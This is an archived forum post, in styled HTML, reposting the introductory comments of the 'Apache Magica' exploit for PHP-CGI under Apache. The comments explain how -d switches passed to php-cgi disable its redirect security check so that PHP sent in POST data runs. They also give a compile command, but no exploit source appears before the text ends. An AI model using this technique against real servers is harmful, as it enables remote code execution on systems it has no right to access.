IT家园's Archiver

悠然南山 发表于 2013-11-2 22:14

Apache / PHP 5.x Remote Code Execution Exploit

<TBODY>

<TR>

<TD style="WORD-WRAP: break-word" bgColor=#fdfddf>

<DIV class="line number1 index0 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">/* Apache Magica by Kingcope */</DIV>

<DIV class="line number2 index1 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">/* gcc apache-magika.c -o apache-magika -lssl */</DIV>

<DIV class="line number3 index2 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">/* This is a code execution bug in the combination of Apache and PHP.</DIV>

<DIV class="line number4 index3 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">On Debian and Ubuntu the vulnerability is present in the default install</DIV>

<DIV class="line number5 index4 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">of the php5-cgi package. When the php5-cgi package is installed on Debian and</DIV>

<DIV class="line number6 index5 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">Ubuntu or php-cgi is installed manually the php-cgi binary is accessible under</DIV>

<DIV class="line number7 index6 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">/cgi-bin/php5 and /cgi-bin/php. The vulnerability makes it possible to execute</DIV>

<DIV class="line number8 index7 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">the binary because this binary has a security check enabled when installed with</DIV>

<DIV class="line number9 index8 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">Apache http server and this security check is circumvented by the exploit.</DIV>

<DIV class="line number10 index9 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">When accessing the php-cgi binary the security check will block the request and</DIV>

<DIV class="line number11 index10 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">will not execute the binary.</DIV>

<DIV class="line number12 index11 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">In the source code file sapi/cgi/cgi_main.c of PHP we can see that the security</DIV>

<DIV class="line number13 index12 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">check is done when the php.ini configuration setting cgi.force_redirect is set</DIV>

<DIV class="line number14 index13 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">and the php.ini configuration setting cgi.redirect_status_env is set to no.</DIV>

<DIV class="line number15 index14 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">This makes it possible to execute the binary bypassing the Security check by</DIV>

<DIV class="line number16 index15 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">setting these two php.ini settings.</DIV>

<DIV class="line number17 index16 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">Prior to this code for the Security check getopt is called and it is possible</DIV>

<DIV class="line number18 index17 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">to set cgi.force_redirect to zero and cgi.redirect_status_env to zero using the</DIV>

<DIV class="line number19 index18 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">-d switch. If both values are set to zero and the request is sent to the server</DIV>

<DIV class="line number20 index19 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">php-cgi gets fully executed and we can use the payload in the POST data field</DIV>

<DIV class="line number21 index20 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">to execute arbitrary php and therefore we can execute programs on the system.</DIV>

<DIV class="line number22 index21 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">apache-magika.c is an exploit that does exactly the prior described. It does</DIV>

<DIV class="line number23 index22 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">support SSL.</DIV>

<DIV class="line number24 index23 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">/* Affected and tested versions</DIV>

